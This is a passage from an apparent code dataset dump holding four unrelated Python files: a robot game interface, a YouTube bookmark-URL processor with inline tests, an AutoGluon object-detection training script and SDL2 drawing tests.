f:\n\t\t\tmac = f.readline().rstrip()\n\t\tf.close()\n\t\treturn mac\n\n\n\tdef _ler_cadastro(self):\n\t\ttry:\n\t\t\twith open('cadastro.cfg') as f:\n\t\t\t\tcadastro = json.load(f)\n\t\t\t\tself.cor = cadastro['cor']\n\t\t\t\tself.nome = cadastro['nome']\n\t\texcept:\n\t\t\tself.cor = 0\n\t\t\tself.nome = \"Grupo3\"\n\n\tdef get_cor(self):\n\t\treturn self.cor\n\n\n\tdef fim_jogo(self):\n\t\tglobal shared_obj\n\t\tif self.modo == ModoDeJogo.AUTOMATICO:\n\t\t\tshared_obj.set(SharedObj.InterfaceFimJogo, 1)\n\t\telse:\n\t\t\tshared_obj.set(SharedObj.InterfaceFimJogo, 1)\n\t\t\tshared_obj.set(SharedObj.ManualMovimento, Mover.EXIT)\n\n\n\tdef _limpa_var_globais(self):\n\t\tglobal shared_obj\n\t\tshared_obj.set(SharedObj.MoverMovimento, Mover.PARADO)\n\t\tshared_obj.set(SharedObj.MoverHistorico, [])\n\t\tshared_obj.clear_event(SharedObj.MoverCoordenadaEvent)\n\t\tshared_obj.set(SharedObj.MoverCoordenada, self.coord_inicial)\n\t\tshared_obj.set(SharedObj.ManualMovimento, Mover.PARADO)\n\t\tshared_obj.set(SharedObj.AutomaticoValidarCaca, 0)\n\t\tshared_obj.set(SharedObj.InterfaceRespValidaCacaMsg, {})\n\t\tshared_obj.set(SharedObj.InterfaceNovasCacas, 0)\n\t\tshared_obj.clear_event(SharedObj.InterfaceRespValidaCacaEvent)\n\t\tshared_obj.set(SharedObj.InterfaceFimJogo, 0)\n\t\tshared_obj.set(SharedObj.InterfaceCacasAtualizadas, [])\n\t\tshared_obj.set(SharedObj.InterfacePauseContinua, 0)\n\n\n\tdef novo_jogo(self, msg):\n\t\tglobal shared_obj\n\n\t\tret = {'cmd': MsgSRtoSS.NovoJogoConfigurado, 'ack': 0}\n\t\tif 'modo_jogo' not in msg:\n\t\t\tret['erro'] = MsgRoboErro.ParametroNaoInformado\n\t\t\tret['param'] = 'modo_jogo'\n\t\t\treturn ret\n\t\telse:\n\t\t\tself.modo_jogo = msg['modo_jogo']\n\n\t\tif 'x' not in msg:\n\t\t\tret['erro'] = MsgRoboErro.ParametroNaoInformado\n\t\t\tret['param'] = 'x'\n\t\t\treturn ret\n\t\telif 'y' not in msg:\n\t\t\tret['erro'] = MsgRoboErro.ParametroNaoInformado\n\t\t\tret['param'] = 'y'\n\t\t\treturn ret\n\t\telse:\n\t\t\tself.coord_inicial = (msg['x'], msg['y'])\n\n\t\tif msg['modo_jogo'] == ModoDeJogo.AUTOMATICO:\n\t\t\tif 'cacas' not in msg:\n\t\t\t\tret['erro'] = MsgRoboErro.ParametroNaoInformado\n\t\t\t\tret['param'] = 'cacas'\n\t\t\t\treturn ret\n\t\t\telse:\n\t\t\t\tself.cacas = []\n\t\t\t\tfor caca in msg['cacas']:\n\t\t\t\t\tself.cacas.append((caca['x'], caca['y']))\n\n\t\tself._limpa_var_globais()\n\n\t\tif self.modo_jogo == ModoDeJogo.MANUAL:\n\t\t\tshared_obj.set(SharedObj.ManualMovimento, Mover.PARADO)\n\t\t\tself.cacador = Manual(self.coord_inicial)\n\n\t\telif self.modo_jogo == ModoDeJogo.AUTOMATICO:\n\t\t\tcacas = msg['cacas']\n\t\t\tself.cacador = Automatico(self.coord_inicial, self.cacas)\n\n\t\tret['ack'] = 1\n\t\treturn ret\n\n\n\tdef mover_manual(self, direcao):\n\t\tglobal shared_obj\n\t\tif self.modo == ModoDeJogo.AUTOMATICO:\n\t\t\tprint(\"Modo de jogo automatico, sem movimentos manuais!!\")\n\t\t\treturn\n\n\t\tshared_obj.set(SharedObj.ManualMovimento, direcao)\n\n\n\tdef _atualiza_cacas(self, cacas):\n\t\tglobal shared_obj\n\t\tnew_cacas = []\n\t\tfor caca in cacas:\n\t\t\tnew_cacas.append((caca['x'], caca['y']))\n\n\t\told_cacas = shared_obj.get(SharedObj.InterfaceCacasAtualizadas)\n\t\tif new_cacas != old_cacas:\n\t\t\tshared_obj.set(SharedObj.InterfaceCacasAtualizadas, new_cacas)\n\t\t\tshared_obj.set(SharedObj.InterfaceNovasCacas, 1)\n\n\n\tdef _atualiza_pos_adv(self, pos):\n\t\t# TODO\n\t\tpass\n\n\tdef _atualiza_cadastro(self):\n\t\tcadastro = {'cor': self.cor, 'nome': self.nome}\n\t\twith open('cadastro.cfg', 'w') as f:\n\t\t\tjson.dump(cadastro, f)\n\n\tdef cadastra_robo(self, msg):\n\t\tif 'cor' not in msg:\n\t\t\treturn\n\n\t\tself.cor = msg['cor']\n\t\tself.nome = msg['nome'] if 'nome' in msg else 'Grupo3'\n\t\tself._atualiza_cadastro()\n\n\tdef atualiza_mapa(self, msg):\n\t\tif 'cacas' in msg:\n\t\t\tself._atualiza_cacas(msg['cacas'])\n\n\t\tif 'posicao_adversario' in msg:\n\t\t\tself._atualiza_pos_adv(msg['posicao_adversario'])\n\n\tdef get_status(self):\n\t\tglobal shared_obj\n\t\treturn shared_obj.get(SharedObj.MoverMovimento)\n\n\n\tdef get_historico(self):\n\t\tglobal shared_obj\n\t\thistorico = shared_obj.get(SharedObj.MoverHistorico)\n\t\tresp = {'cmd': MsgSRtoSS.SolicitaHistorico_RESP, 'historico': historico}\n\t\tself._envia_msg(resp)\n\n\n\tdef pause(self):\n\t\tglobal shared_obj\n\t\tshared_obj.set(SharedObj.InterfacePauseContinua, 1)\n\n\tdef continua(self):\n\t\tglobal shared_obj\n\n\t\t# Se mandar continuar, sem estar em pausa, nao faz nada\n\t\tif not shared_obj.get(SharedObj.InterfacePauseContinua):\n\t\t\treturn\n\n\t\tshared_obj.set(SharedObj.InterfacePauseContinua, 0)\n\n\tdef stop(self):\n\t\tself.pause()\n\t\tself.fim_jogo()\n\n\n\tdef _envia_msg(self, msg):\n\t\tglobal shared_obj\n\t\tshared_obj.set(SharedObj.TransmitirLock, msg)\n\t\tshared_obj.set_event(SharedObj.TransmitirEvent)\n\n\n\tdef run(self):\n\t\tglobal shared_obj\n\t\tprint(\"##### ROBO INICIALIZADO #####\")\n\t\tprint(\"Nome: %s | Cor: %s\\n\" % (str(self.nome), str(self.cor)))\n\n\t\twhile True:\n\t\t\t# Espera alguma mensagem ...\n\t\t\tshared_obj.wait_event(SharedObj.InterfaceEvent)\n\n\t\t\tshared_obj.acquire(SharedObj.InterfaceEventMsg)\n\t\t\tmsg = shared_obj.get_directly(SharedObj.InterfaceEventMsg)\n\t\t\tif 'cmd' not in msg:\n\t\t\t\tcontinue\n\n\t\t\tcmd = msg['cmd']\n\n\t\t\t# Mensagens vindas do SS:\n\t\t\tif cmd == MsgSStoSR.SolicitaID:\n\t\t\t\tprint(\"[RECEBIDO]: SolicitaID\")\n\t\t\t\tresp = {'cmd': MsgSRtoSS.SolicitaID_Resp}\n\t\t\t\tresp['cor'] = self.cor\n\t\t\t\tresp['nome'] = self.nome\n\t\t\t\tresp['mac'] = self.mac\n\t\t\t\tself._envia_msg(resp)\n\n\t\t\telif cmd == MsgSStoSR.NovoJogo:\n\t\t\t\tprint(\"[RECEBIDO]: NovoJogo\")\n\t\t\t\tresp = self.novo_jogo(msg)\n\t\t\t\tself._envia_msg(resp)\n\n\t\t\telif cmd == MsgSStoSR.IniciaJogo:\n\t\t\t\tprint(\"[RECEBIDO]: IniciaJogo\")\n\t\t\t\tself.cacador.start()\n\n\t\t\telif cmd == MsgSStoSR.Pausa:\n\t\t\t\tprint(\"[RECEBIDO]: Pausa\")\n\t\t\t\tself.pause()\n\n\t\t\telif cmd == MsgSStoSR.Continua:\n\t\t\t\tprint(\"[RECEBIDO]: Continua\")\n\t\t\t\tself.continua()\n\n\t\t\telif cmd == MsgSStoSR.FimJogo:\n\t\t\t\tprint(\"[RECEBIDO]: FimJogo\")\n\t\t\t\tself.fim_jogo()\n\n\t\t\telif cmd == MsgSStoSR.Mover:\n\t\t\t\tprint(\"[RECEBIDO]: Mover\")\n\t\t\t\tif 'direcao' in msg and \\\n\t\t\t\t\tself.modo_jogo is ModoDeJogo.MANUAL:\n\t\t\t\t\tself.mover_manual(msg['direcao'])\n\n\t\t\telif cmd == MsgSStoSR.AtualizaMapa:\n\t\t\t\tprint(\"[RECEBIDO]: AtualizaMapa\")\n\t\t\t\tself.atualiza_mapa(msg)\n\n\t\t\telif cmd == MsgSStoSR.ValidacaoCaca:\n\t\t\t\tprint(\"[RECEBIDO]: ValidacaoCaca\")\n\t\t\t\tshared_obj.set(SharedObj.InterfaceRespValidaCacaMsg, msg)\n\t\t\t\tshared_obj.set_event(SharedObj.InterfaceRespValidaCacaEvent)\n\n\t\t\telif cmd == MsgSStoSR.SolicitaHistorico:\n\t\t\t\tprint(\"[RECEBIDO]: SolicitaHistorico\")\n\t\t\t\tself.get_historico()\n\n\t\t\telif cmd == MsgSStoSR.CadastraRobo:\n\t\t\t\tprint(\"[RECEBIDO]: CadastraRobo\")\n\t\t\t\tself.cadastra_robo(msg)\n\n\t\t\telif cmd == MsgSStoSR.SolicitaStatus:\n\t\t\t\tprint(\"[RECEBIDO]: SolicitaStatus\")\n\t\t\t\tresp = {'cmd': MsgSRtoSS.SolicitaStatus_RESP}\n\t\t\t\tself._envia_msg(resp)\n\n\t\t\t# Mensagens internas (do proprio SR)\n\t\t\telif cmd == MsgSRtoSS.MovendoPara or \\\n\t\t\t\tcmd == MsgSRtoSS.PosicaoAtual or \\\n\t\t\t\tcmd == MsgSRtoSS.ValidaCaca or \\\n\t\t\t\tcmd == MsgSRtoSS.ObstaculoEncontrado:\n\t\t\t\tself._envia_msg(msg)\n\n\t\t\telse:\n\t\t\t\tpass\n\n\t\t\tshared_obj.release(SharedObj.InterfaceEventMsg)\n\t\t\tshared_obj.clear_event(SharedObj.InterfaceEvent)\n\nif __name__ == \"__main__\":\n\tt = Transmissor(\"192.168.0.101\")\n\tt.start()\n\n\tr = Receptor(\"192.168.0.101\")\n\tr.start()\n\n\ti = InterfaceSR()\n\ti.start()\n\n\t# for cmd in range (1000, 1004):\n\t# \tprint(\"ENTER PARA ENVIAR MENSAGEM AO SS\")\n\t# \tinput()\n\n\t# \tmsg = {'cmd': cmd}\n\t# \tshared_obj.set(SharedObj.TransmitirLock, msg)\n\t# \tshared_obj.set_event(SharedObj.TransmitirEvent)\n\n\t# \tsleep(2)\n\n", "sub_path": "discontinued/interface.py", "file_name": "interface.py", "file_ext": "py", "file_size_in_byte": 7821, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "threading.Thread", "line_number": 17, "usage_type": "name"}, {"api_name": "json.load", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 153, "usage_type": "call"}]} {"seq_id": "570293908", "text": "#import time\r\nimport queue\r\nimport sys\r\n#import breeze_resources\r\nfrom PyQt5 import QtWidgets\r\nfrom PyQt5.QtCore import QFile, QTextStream\r\nfrom threading import Thread\r\nfrom untitled import Ui_MainWindow\r\n\r\n# Need to pick a style (camelcase?) and stick with it\r\n# Testing to be in seperate module\r\n# Array + gui should be split into seperate modules\r\n# Single module to hang everything together (main?)\r\n\r\nfetch_threads = 4\r\nenclosure_queue = queue.Queue()\r\ntemp_processing = \"temp\\\\temp-processed.tmp\"\r\ntemp_working = \"temp\\\\temp-working.tmp\"\r\nbookmarks = \"working\\\\Bookmarks.html\"\r\n\r\nclass mywindow(QtWidgets.QMainWindow):\r\n def __init__(self):\r\n super(mywindow, self).__init__()\r\n self.ui = Ui_MainWindow()\r\n self.ui.setupUi(self)\r\n\r\ndef RunMain():\r\n app = QtWidgets.QApplication([])\r\n file = QFile(\":/dark.qss\")\r\n file.open(QFile.ReadOnly | QFile.Text)\r\n stream = QTextStream(file)\r\n app.setStyleSheet(stream.readAll())\r\n application = mywindow()\r\n application.show()\r\n sys.exit(app.exec())\r\n\r\nclass ProcessingArray:\r\n def __new__(cls, *args, **kwargs):\r\n if cls is ProcessingArray:\r\n raise TypeError(\"base class may not be instantiated\")\r\n return object.__new__(cls, *args, **kwargs)\r\n\r\n def __init__(self):\r\n self.URLs = []\r\n\r\n def AddURL(self, URL):\r\n if URL not in self.URLs:\r\n self.URLs.append(URL)\r\n\r\n def CountURLs(self):\r\n return len(self.URLs)\r\n\r\n def RemoveURL(self, URL):\r\n if URL in self.URLs:\r\n self.URLs.remove(URL)\r\n\r\n def TruncateURLs(self):\r\n self.URLs = []\r\n\r\n def PrintSample(self):\r\n print(self.URLs[0: 5])\r\n\r\n def RetrieveURLs(self):\r\n return self.URLs\r\n\r\nclass ProcessedURLs(ProcessingArray):\r\n def __init__(self):\r\n ProcessingArray.__init__(self)\r\n try:\r\n file = open(temp_processing, \"r\")\r\n for line in file:\r\n self.AddURL(line[:-1])\r\n except:\r\n pass\r\n\r\n def UpdateTemp(self):\r\n file = open(temp_processing, \"w+\")\r\n for URL in self.URLs:\r\n file.write(URL[-11:] + \"\\r\")\r\n\r\nclass WorkingURLs(ProcessingArray):\r\n def __init__(self):\r\n ProcessingArray.__init__(self)\r\n try:\r\n file = open(temp_working, \"r\")\r\n for line in file:\r\n self.AddURL(line[:-1])\r\n except:\r\n pass\r\n\r\n def UpdateTemp(self):\r\n file = open(temp_working, \"w+\")\r\n for URL in self.URLs:\r\n file.write(URL[-11:] + \"\\r\")\r\n\r\nclass FailedURLs():\r\n def __init__(self):\r\n self.URLs = []\r\n\r\n def AddURL(self, URL, error):\r\n if len(self.URLs) == 0:\r\n self.URLs.append([URL, error])\r\n else:\r\n for pair in self.URLs:\r\n if URL in pair:\r\n break\r\n else:\r\n self.URLs.append([URL, error])\r\n\r\n def CountURLs(self):\r\n return len(self.URLs)\r\n\r\n def RemoveURL(self, URL):\r\n for pair in self.URLs:\r\n if URL in pair[0]:\r\n self.URLs.remove(pair)\r\n\r\n def TruncateURLs(self):\r\n self.URLs = []\r\n\r\n def PrintSample(self):\r\n print(self.URLs[0: 5])\r\n\r\ndef linecount(filename):\r\n count = 0\r\n for line in open (filename):\r\n count += 1\r\n return count\r\n\r\ndef PushfiletoWorking(filename):\r\n array = FindURLsInFile(filename)\r\n for URL in array:\r\n WorkingURLs.AddURL(URL)\r\n\r\ndef FindURLsInFile(filename):\r\n count, URLs = 0, []\r\n try:\r\n for line in open(filename, encoding = 'utf8'):\r\n list = FindURL(line)\r\n count += list[0]\r\n if list[0] > 0:\r\n for URL in list[1]:\r\n if URL not in URLs:\r\n URLs.append(URL)\r\n except IOError:\r\n Print(\"There was an issue reading the file\")\r\n except:\r\n Print(\"There was a generic error\")\r\n return URLs\r\n\r\ndef FindURL(string):\r\n#Could this function be generalised? What about other providers (soundcloud, vimeo etc)\r\n count, URL, array = 0, '', []\r\n index = string.find('https://www.youtube.com/watch?v=')\r\n URL = string[index+32:index+43]\r\n if index >= 0:\r\n count += 1\r\n array.append(URL)\r\n FindURL(string[index+43:])\r\n return count, array\r\n\r\ndef ProcessURL__old(URL): #THIS FUNCTION AINT USED NO MORE\r\n try:\r\n #RunMattsCodeHere(\"https://www.youtube.com/watch?v=\" + URL)\r\n ProcessedURLs.AddURL(URL)\r\n except:\r\n FailedURLs.AddURL(URL, 'pass through error here')\r\n finally:\r\n WorkingURLs.RemoveURL(URL)\r\n\r\ndef ProcessURLs_OLD(): #NEITHER THIS BAD BOY\r\n while WorkingURLs.CountURLs() > 0:\r\n for URL in WorkingURLs.RetrieveURLs():\r\n ProcessURL(URL)\r\n\r\n#Defines worker\r\ndef ProcessURL(i, q):\r\n while True:\r\n URL = q.get()\r\n try:\r\n #RunMattsCodeHere(\"https://www.youtube.com/watch?v=\" + URL)\r\n ProcessedURLs.AddURL(URL)\r\n except:\r\n FailedURLs.AddURL(URL, 'pass through error here')\r\n finally:\r\n WorkingURLs.RemoveURL(URL)\r\n q.task_done()\r\n\r\n#\r\ndef ProcessURLs():\r\n for i in range(fetch_threads):\r\n worker = Thread(target=ProcessURL, args=(i, enclosure_queue,))\r\n worker.setDaemon(True)\r\n worker.start()\r\n while WorkingURLs.CountURLs() > 0:\r\n for URL in WorkingURLs.RetrieveURLs():\r\n enclosure_queue.put(URL)\r\n enclosure_queue.join()\r\n\r\nif __name__ == '__main__':\r\n\r\n WorkingURLs = WorkingURLs()\r\n ProcessedURLs = ProcessedURLs()\r\n FailedURLs = FailedURLs()\r\n print(\"\")\r\n print(\"======= UNIT TESTING =======\")\r\n WorkingURLs.TruncateURLs()\r\n FailedURLs.TruncateURLs()\r\n ProcessedURLs.TruncateURLs()\r\n if ProcessedURLs.CountURLs() == WorkingURLs.CountURLs() == FailedURLs.CountURLs() == 0:\r\n print(\"TESTING LIST TRUNCATION: PASS\")\r\n else:\r\n print(\"TESTING LIST TRUNCATION: FAIL\")\r\n list = FindURLsInFile(bookmarks)\r\n PushfiletoWorking(bookmarks)\r\n if len(list) == WorkingURLs.CountURLs() == 1495:\r\n print(\"TESTING FILE RETRIEVAL: PASS\")\r\n else:\r\n print(\"TESTING FILE RETRIEVAL: FAIL\")\r\n print(\" URLS IN FILE: \" + str(len(list)))\r\n print(\" URLS IN LIST: \" + str(WorkingURLs.CountURLs()))\r\n ProcessURL__old(\"YSkIJTIE45c\")\r\n ProcessURL__old(\"B2KAipyP8mc\")\r\n FailedURLs.AddURL(\"B2KAipyP8mc\", 'test')\r\n FailedURLs.AddURL(\"B2KgipyP8mc\", '2nd error')\r\n FailedURLs.AddURL(\"B2KAipyP8mc\", '3rd error')\r\n if ProcessedURLs.CountURLs() == 2 and FailedURLs.CountURLs() == 2 and WorkingURLs.CountURLs() == 1493:\r\n print(\"TESTING URL PROCESSING: PASS\")\r\n else:\r\n print(\"TESTING URL PROCESSING: FAIL\")\r\n print(\" WORKING URLS: \" + str(WorkingURLs.CountURLs()))\r\n print(\" FAILED URLS: \" + str(FailedURLs.CountURLs()))\r\n print(\" PROCESSED URLS: \" + str(ProcessedURLs.CountURLs()))\r\n WorkingURLs.UpdateTemp()\r\n ProcessedURLs.UpdateTemp()\r\n if linecount(temp_processing) == 2 and linecount(temp_working) == 1493:\r\n print(\"TESTING TEMP FILE GENERATION: PASS\")\r\n else:\r\n print(\"TESTING TEMP FILE GENERATION: FAIL\")\r\n print(\" WORKING TEMP FILE: \" + str(linecount(temp_working)))\r\n print(\" PROCESSED TEMP FILE: \" + str(linecount(temp_processing)))\r\n WorkingURLs.UpdateTemp()\r\n ProcessedURLs.UpdateTemp()\r\n if linecount(temp_processing) == 2 and linecount(temp_working) == 1493:\r\n print(\"TESTING 2ND FILE GENERATION: PASS\")\r\n else:\r\n print(\"TESTING 2ND FILE GENERATION: FAIL\")\r\n print(\" WORKING TEMP FILE: \" + str(linecount(temp_working)))\r\n print(\" PROCESSED TEMP FILE: \" + str(linecount(temp_processing)))\r\n WorkingURLs.RemoveURL(\"WQzZk69P69E\")\r\n if WorkingURLs.CountURLs() == 1492:\r\n print(\"TESTING URL REMOVAL: PASS\")\r\n else:\r\n print(\"TESTING URL REMOVAL: FAIL\")\r\n print(\" WORKING URLS: \" + str(WorkingURLs.CountURLs()))\r\n WorkingURLs.TruncateURLs()\r\n FailedURLs.TruncateURLs()\r\n ProcessedURLs.TruncateURLs()\r\n WorkingURLs.__init__()\r\n ProcessedURLs.__init__()\r\n if ProcessedURLs.CountURLs() == 2 and WorkingURLs.CountURLs() == 1493 and FailedURLs.CountURLs() == 0:\r\n print(\"TESTING TEMP FILE RETRIEVAL: PASS\")\r\n else:\r\n print(\"TESTING TEMP FILE RETRIEVAL: FAIL\")\r\n print(\" WORKING URLS: \" + str(WorkingURLs.CountURLs()))\r\n print(\" PROCESSED URLS: \" + str(ProcessedURLs.CountURLs()))\r\n ProcessURLs()\r\n if ProcessedURLs.CountURLs() == 1495 and WorkingURLs.CountURLs() == 0 and FailedURLs.CountURLs() == 0:\r\n print(\"TESTING MULTITHREADING QUEUE: PASS\")\r\n else:\r\n print(\"TESTING MULTITHREADING QUEUE: FAIL\")\r\n print(\" WORKING URLS: \" + str(WorkingURLs.CountURLs()))\r\n print(\" PROCESSED URLS: \" + str(ProcessedURLs.CountURLs()))\r\n print(\" FAILED URLS: \" + str(FailedURLs.CountURLs()))\r\n print(\"======= /UNIT TESTING =======\")\r\n print(\"\")\r\n print(\"======== GUI TESTING ========\")\r\n RunMain()\r\n\r\n\r\n #Cleaning up\r\n WorkingURLs.TruncateURLs()\r\n FailedURLs.TruncateURLs()\r\n ProcessedURLs.TruncateURLs()\r\n WorkingURLs.UpdateTemp()\r\n ProcessedURLs.UpdateTemp()\r\n", "sub_path": "Framework.py", "file_name": "Framework.py", "file_ext": "py", "file_size_in_byte": 9560, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "queue.Queue", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 21, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 21, "usage_type": "name"}, {"api_name": "untitled.Ui_MainWindow", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 28, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 28, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QFile", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QFile.ReadOnly", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QFile", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QFile.Text", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QTextStream", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 35, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 192, "usage_type": "call"}]} {"seq_id": "576249598", "text": "\"\"\"\nThe example to train an object detection model in AutoMM.\n\nAn example to finetune an MMDetection model on COCO:\n python detection_train.py \\\n --train_path coco17/annotations/instances_train2017.json \\\n --test_path coco17/annotations/instances_val2017.json \\\n --checkpoint_name yolov3_mobilenetv2_320_300e_coco \\\n --num_classes 80 \\\n --lr <learning_rate> \\\n --wd <weight_decay> \\\n --epochs <epochs>\n\nAn example to finetune an MMDetection model on VOC:\n First, use this script to convert the VOC dataset to COCO format:\n https://github.com/open-mmlab/mmdetection/blob/9d3e162459590eee4cfc891218dfbb5878378842/tools/dataset_converters/pascal_voc.py\n Then, run:\n python detection_train.py \\\n --train_path /media/data/datasets/voc/VOCdevkit/VOCCOCO/voc07_trainval.json \\\n --test_path /media/data/datasets/voc/VOCdevkit/VOCCOCO/voc07_test.json \\\n --checkpoint_name yolov3_mobilenetv2_320_300e_coco \\\n --num_classes 20 \\\n --lr <learning_rate> \\\n --wd <weight_decay> \\\n --epochs <epochs>\n\nNote that for now it's required to install nightly build torchmetrics.\nThis will be solved in next pr. (MeanAveragePrecision will be moved to AG temporarily.)\n\"\"\"\n\nimport argparse\n\nfrom autogluon.multimodal import MultiModalPredictor\n\n\ndef detection_train(\n train_path,\n test_path=None,\n checkpoint_name=\"faster_rcnn_r50_fpn_2x_coco\",\n num_classes=80,\n lr=1e-3,\n wd=1e-4,\n epochs=50,\n num_gpus=4,\n val_metric=None,\n per_gpu_batch_size=8,\n):\n\n # TODO: add val_path\n # TODO: remove hardcode for num_classes\n\n predictor = MultiModalPredictor(\n label=\"rois_label\",\n hyperparameters={\n \"model.mmdet_image.checkpoint_name\": checkpoint_name,\n \"env.num_gpus\": num_gpus,\n \"env.strategy\": \"ddp\",\n },\n pipeline=\"object_detection\",\n output_shape=num_classes,\n val_metric=val_metric,\n )\n\n import time\n\n start = time.time()\n predictor.fit(\n train_path,\n hyperparameters={\n \"optimization.learning_rate\": lr,\n \"optimization.weight_decay\": wd,\n \"optimization.max_epochs\": epochs,\n \"optimization.top_k\": 1,\n \"optimization.top_k_average_method\": \"best\",\n \"optimization.warmup_steps\": 0.0,\n \"optimization.patience\": 40,\n \"env.per_gpu_batch_size\": per_gpu_batch_size, # decrease it when model is large\n },\n )\n fit_end = time.time()\n print(\"time usage for fit: %.2f\" % (fit_end - start))\n\n if num_gpus == 1 and test_path is not None: # TODO: support multigpu inference\n print(predictor.evaluate(test_path))\n print(\"time usage for eval: %.2f\" % (time.time() - fit_end))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--train_path\", default=\"/media/data/datasets/voc/VOCdevkit/VOCCOCO/voc07_trainval.json\", type=str\n )\n parser.add_argument(\"--test_path\", default=\"/media/data/datasets/voc/VOCdevkit/VOCCOCO/voc07_test.json\", type=str)\n parser.add_argument(\"--checkpoint_name\", default=\"yolov3_mobilenetv2_320_300e_coco\", type=str)\n parser.add_argument(\"--num_classes\", default=20, type=int)\n parser.add_argument(\"--lr\", default=1e-3, type=float)\n parser.add_argument(\"--wd\", default=1e-3, type=float)\n parser.add_argument(\"--epochs\", default=50, type=int)\n parser.add_argument(\"--num_gpus\", default=4, type=int)\n parser.add_argument(\"--per_gpu_batch_size\", default=8, type=int)\n parser.add_argument(\"--val_metric\", default=None, type=str)\n args = parser.parse_args()\n\n detection_train(\n train_path=args.train_path,\n test_path=args.test_path,\n checkpoint_name=args.checkpoint_name,\n num_classes=args.num_classes,\n lr=args.lr,\n wd=args.wd,\n epochs=args.epochs,\n num_gpus=args.num_gpus,\n val_metric=args.val_metric, # \"mAP\" or \"direct_loss\" or None (use default: \"direct_loss\")\n per_gpu_batch_size=args.per_gpu_batch_size,\n )\n", "sub_path": "examples/automm/object_detection/detection_train.py", "file_name": "detection_train.py", "file_ext": "py", "file_size_in_byte": 4125, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "autogluon.multimodal.MultiModalPredictor", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "time.time", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 89, "usage_type": "call"}]} {"seq_id": "10209809", "text": "from collections import deque\nimport sdl2 as sd2\nimport sdl2.ext as sdx\nimport sys\n\n\nimport numpy as np\n\nfrom qqq.util import Timer\n\nimport world\nimport box_world\n\n\nclass SquareRenderer(sdx.SoftwareSpriteRenderSystem):\n def __init__(self, window):\n super().__init__(window)\n\n def render(self, components):\n sdx.fill(self.surface, sdx.Color(32, 32, 32))\n super().render(components)\n\n\ndef reset_surface(surface):\n sdx.fill(surface, sdx.Color(0, 0, 0))\n\n\ndef draw_rectangle(surface, q, x, y, w, h):\n l = len(q)\n for ix, item in enumerate(q):\n c = 128*(ix/l)\n sdx.fill(surface, sdx.Color(c, c, c), item)\n\n sdx.fill(surface, sdx.Color(128, 128, 128), (x, y, w, h))\n q.append((x, y, w, h))\n\n\ndef init_sdl(w, h, name=\"main\"):\n sdx.init()\n\n w = sdx.Window(name, (500, 500))\n w.show()\n\n ws = w.get_surface()\n\n return w, ws\n\n\ndef basic_test_main():\n w, ws = init_sdl(200, 200)\n tim = Timer()\n\n x0, y0 = 100, 100\n w0, h0 = 10, 10\n\n tim.set()\n now = tim.now()\n\n q = deque([], maxlen=100)\n while tim.now() < now + 100:\n t = tim.now()\n reset_surface(ws)\n draw_rectangle(ws, q, x0 + 50*np.sin(8*t)+tim.elapsed(), y0 + 50*np.cos(4*t)+tim.elapsed(), w0, h0)\n w.refresh()\n tim.wait(t + 1/60)\n\n\ndef world_test_main():\n w, h = 500, 500\n\n win, ws = init_sdl(w, h)\n tim = Timer()\n n = tim.now()\n\n dt = 1/50\n box = box_world.BoxWorld(w, h)\n\n while tim.now() < n + 25:\n mark = tim.now()\n\n box.update()\n box.render()\n sd2.SDL_BlitSurface(box.surface, sd2.SDL_Rect(0, 0, w, h), ws, sd2.SDL_Rect(0, 0, w, h))\n win.refresh()\n \n tim.sleep(dt)\n\n\nif __name__ == \"__main__\":\n basic_test_main()\n", "sub_path": "src/draw.py", "file_name": "draw.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sdl2.ext.SoftwareSpriteRenderSystem", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sdl2.ext", "line_number": 15, "usage_type": "name"}, {"api_name": "sdl2.ext.fill", "line_number": 20, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 20, "usage_type": "name"}, {"api_name": "sdl2.ext.Color", "line_number": 20, "usage_type": "call"}, {"api_name": "sdl2.ext.fill", "line_number": 25, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 25, "usage_type": "name"}, {"api_name": "sdl2.ext.Color", "line_number": 25, "usage_type": "call"}, {"api_name": "sdl2.ext.fill", "line_number": 32, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 32, "usage_type": "name"}, {"api_name": "sdl2.ext.Color", "line_number": 32, "usage_type": "call"}, {"api_name": "sdl2.ext.fill", "line_number": 34, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 34, "usage_type": "name"}, {"api_name": "sdl2.ext.Color", "line_number": 34, "usage_type": "call"}, {"api_name": "sdl2.ext.init", "line_number": 39, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 39, "usage_type": "name"}, {"api_name": "sdl2.ext.Window", "line_number": 41, "usage_type": "call"}, {"api_name": "sdl2.ext", "line_number": 41, "usage_type": "name"}, {"api_name": "qqq.util.Timer", "line_number": 51, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 63, "usage_type": "call"}, 